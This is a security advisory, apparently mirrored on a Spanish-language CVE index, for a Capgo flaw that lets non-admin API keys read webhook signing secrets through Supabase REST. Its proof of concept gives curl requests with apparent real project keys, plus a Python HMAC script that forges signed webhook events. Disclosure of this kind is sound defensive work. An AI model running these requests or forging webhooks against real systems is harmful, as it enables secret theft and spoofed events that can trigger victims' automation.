GHSA-QRRX-X3QF-X87V
Non-admin API keys can read webhook signing secrets (webhooks.secret) via Supabase REST, enabling forged Capgo webhooks
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QRRX-X3QF-X87V divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
A read-only / non-admin Capgo API key can query Supabase REST (/rest/v1/webhooks) and retrieve the webhook signing secret (whsec_*). With this secret, an attacker can generate valid X-Capgo-Signature headers and forge authenticated Capgo webhook events to any configured receiver, breaking webhook authenticity/integrity.
### Details
The public.webhooks table contains a secret used to sign webhook payloads (X-Capgo-Signature).
RLS policies allow SELECT on public.webhooks for anon and/or API-key identities with at least read rights, and the secret column is not protected/omitted. As a result, a non-admin key can retrieve webhook secrets for an organization.
Evidence that the key is non-admin:
- Calling rpc/check_min_rights with min_right=admin returns false for the tested org, yet the same key can still read webhooks.secret.
Once webhooks.secret is disclosed, the attacker can compute:
- signaturePayload = "{timestamp}.{raw_json_body}"
- X-Capgo-Signature = "v1={timestamp}.{HMAC_SHA256(secret, signaturePayload)}"
This allows sending arbitrary spoofed webhook events that appear legitimately signed by Capgo.
### PoC
Environment
SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ANON="sb_publishable_T8kEcJpf9PbGYLkArVCLHA_lAE0Hb0T"
READKEY="40b68473-82c1-473a-9f1b-552c38d5794b" # non-admin/read key
ORG1="8613dac2-cc0e-4e73-afcd-4d3c5458c34b"- Prove the key is NOT admin
curl -sk --http2 -i \
"$SUPA/rest/v1/rpc/check_min_rights" \
-H "apikey: $ANON" \
-H "authorization: Bearer $ANON" \
-H "capgkey: $READKEY" \
-H "content-type: application/json" \
--data '{"min_right":"admin","org_id":"'"$ORG1"'","app_id":null,"channel_id":null}' \
| sed -n '1,120p'_Expected: response body is false._
- Retrieve webhook secret as non-admin
curl -sk --http2 -i \
"$SUPA/rest/v1/webhooks?org_id=eq.$ORG1&select=id,org_id,name,url,secret,events,enabled,created_at&limit=10" \
-H "apikey: $ANON" \
-H "authorization: Bearer $ANON" \
-H "capgkey: $READKEY" \
| sed -n '1,220p'_Expected: JSON includes secret like:_
"secret":"whsec_..."- Forge a valid signed webhook using the leaked secret
URL="https://<your-webhook-receiver>"
SECRET="whsec_...leaked..."
TS="$(date +%s)"
BODY='{"event":"test.ping","event_id":"11111111-1111-1111-1111-111111111111","org_id":"'"$ORG1"'","timestamp":"'"$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"'","data":{"table":"test","operation":"TEST","record_id":"poc","new_record":{"poc":"forged"},"old_record":null,"changed_fields":null}}'
SIG="$(python3 - <<'PY'
import hmac, hashlib, os
ts=os.environ["TS"]
body=os.environ["BODY"]
sec=os.environ["SECRET"].encode()
msg=f"{ts}.{body}".encode()
print("v1="+ts+"."+hmac.new(sec,msg,hashlib.sha256).hexdigest())
PY
)"
curl -sk --http2 -i -X POST "$URL" \
-H "content-type: application/json" \
-H "user-agent: Capgo-Webhook/1.0" \
-H "x-capgo-event: test.ping" \
-H "x-capgo-event-id: 11111111-1111-1111-1111-111111111111" \
-H "x-capgo-timestamp: $TS" \
-H "x-capgo-signature: $SIG" \
--data "$BODY" \
| sed -n '1,120p'_Expected: Receiver sees a request that appears correctly signed by Capgo._
Impact
- Any actor holding a non-admin/read API key for an org can obtain the webhook signing secret.
- With the secret, the actor can forge “authentic” webhook events to third-party endpoints, potentially triggering downstream automation, state changes, alerts, or financial/operational workflows.
- This is an authenticity/integrity break for Capgo webhooks.
Suggested fix
Do not expose webhooks.secret in any SELECT path.
- Move secrets to a separate table restricted to service_role or admin only, or return secrets only on creation/reveal-once.
- Use a view/RPC that omits secret for non-admin readers.
Rotate existing webhook secrets after patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmcapgo |
Corregida | 12.128.2 | — | — |
12.128.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Cap-go/capgo.app/security/advisories/GHSA-qrrx-x3qf-x87vLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
